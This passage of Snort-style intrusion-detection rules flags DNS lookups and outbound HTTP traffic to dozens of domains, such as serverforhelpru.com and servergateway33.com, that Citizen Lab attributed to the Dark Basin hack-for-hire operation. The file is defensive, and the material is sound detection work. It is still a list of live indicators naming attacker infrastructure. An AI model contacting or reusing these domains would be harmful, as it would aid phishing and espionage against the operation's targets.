"Dark Basin Domain: serverasiasap.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|serverasiasap|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356752; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverasiasap.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverasiasap.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverasiasap\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356753; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverdemoservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverdemoservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356801; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverdemoservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverdemoservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356802; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverdemoservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverdemoservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverdemoservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356803; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverforhelphk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|serverforhelphk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356131; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverforhelphk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|serverforhelphk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356132; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverforhelphk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverforhelphk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverforhelphk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356133; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverforhelplux.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|serverforhelplux|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357731; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverforhelplux.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|serverforhelplux|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357732; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverforhelplux.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverforhelplux.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverforhelplux\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357733; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverforhelpmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|serverforhelpmy|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357741; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverforhelpmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|serverforhelpmy|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357742; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverforhelpmy.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverforhelpmy.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverforhelpmy\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357743; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverforhelpru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|serverforhelpru|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356141; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverforhelpru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|serverforhelpru|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356142; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverforhelpru.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverforhelpru.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverforhelpru\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356143; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverforhelpsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|serverforhelpsg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356151; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverforhelpsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|serverforhelpsg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356152; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverforhelpsg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverforhelpsg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverforhelpsg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356153; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverforhiretech.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverforhiretech|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356591; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverforhiretech.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverforhiretech|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356592; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverforhiretech.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverforhiretech.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverforhiretech\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356593; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverforhome.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|serverforhome|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356641; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverforhome.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|serverforhome|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356642; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverforhome.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverforhome.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverforhome\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356643; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverformailings.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverformailings|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356501; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverformailings.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverformailings|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356502; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverformailings.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverformailings.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverformailings\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356503; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverfornetworks.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverfornetworks|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356511; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverfornetworks.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverfornetworks|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356512; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverfornetworks.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverfornetworks.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverfornetworks\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356513; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverforshort.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|serverforshort|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354861; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverforshort.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|serverforshort|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354862; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverforshort.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverforshort.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverforshort\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354863; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverfortechhelp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverfortechhelp|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356601; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverfortechhelp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverfortechhelp|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356602; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverfortechhelp.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverfortechhelp.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverfortechhelp\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356603; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverfortechies.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|serverfortechies|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356071; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverfortechies.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|serverfortechies|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356072; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverfortechies.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverfortechies.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverfortechies\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356073; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverforzapper.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|serverforzapper|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356521; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverforzapper.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|serverforzapper|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356522; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverforzapper.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverforzapper.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverforzapper\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356523; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: servergateway33.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|servergateway33|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354131; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: servergateway33.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|servergateway33|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354132; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: servergateway33.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"servergateway33.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])servergateway33\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354133; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: servergateway56.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|servergateway56|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354121; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: servergateway56.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|servergateway56|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354122; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: servergateway56.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"servergateway56.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])servergateway56\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354123; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverhello54.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|serverhello54|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354161; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverhello54.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|serverhello54|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354162; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverhello54.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverhello54.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverhello54\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354163; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverloadbalance.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverloadbalance|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356771; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serverloadbalance.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|serverloadbalance|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356772; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serverloadbalance.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serverloadbalance.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serverloadbalance\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356773; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: servermailing34.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|servermailing34|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353631; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: servermailing34.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|servermailing34|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353632; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: servermailing34.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"servermailing34.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])servermailing34\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353633; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: servermain43.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|servermain43|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354881; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: servermain43.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|servermain43|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354882; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: servermain43.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"servermain43.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])servermain43\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354883; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: servermappingserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|1a|servermappingserviceonline|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353491; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: servermappingserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|1a|servermappingserviceonline|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353492; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: servermappingserviceonline.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"servermappingserviceonline.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])servermappingserviceonline\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353493; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serversap54.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|serversap54|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354911; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serversap54.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|serversap54|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354912; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serversap54.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serversap54.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serversap54\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354913; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serviceasneed.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|serviceasneed|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355881; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serviceasneed.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|serviceasneed|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355882; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serviceasneed.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serviceasneed.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serviceasneed\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355883; 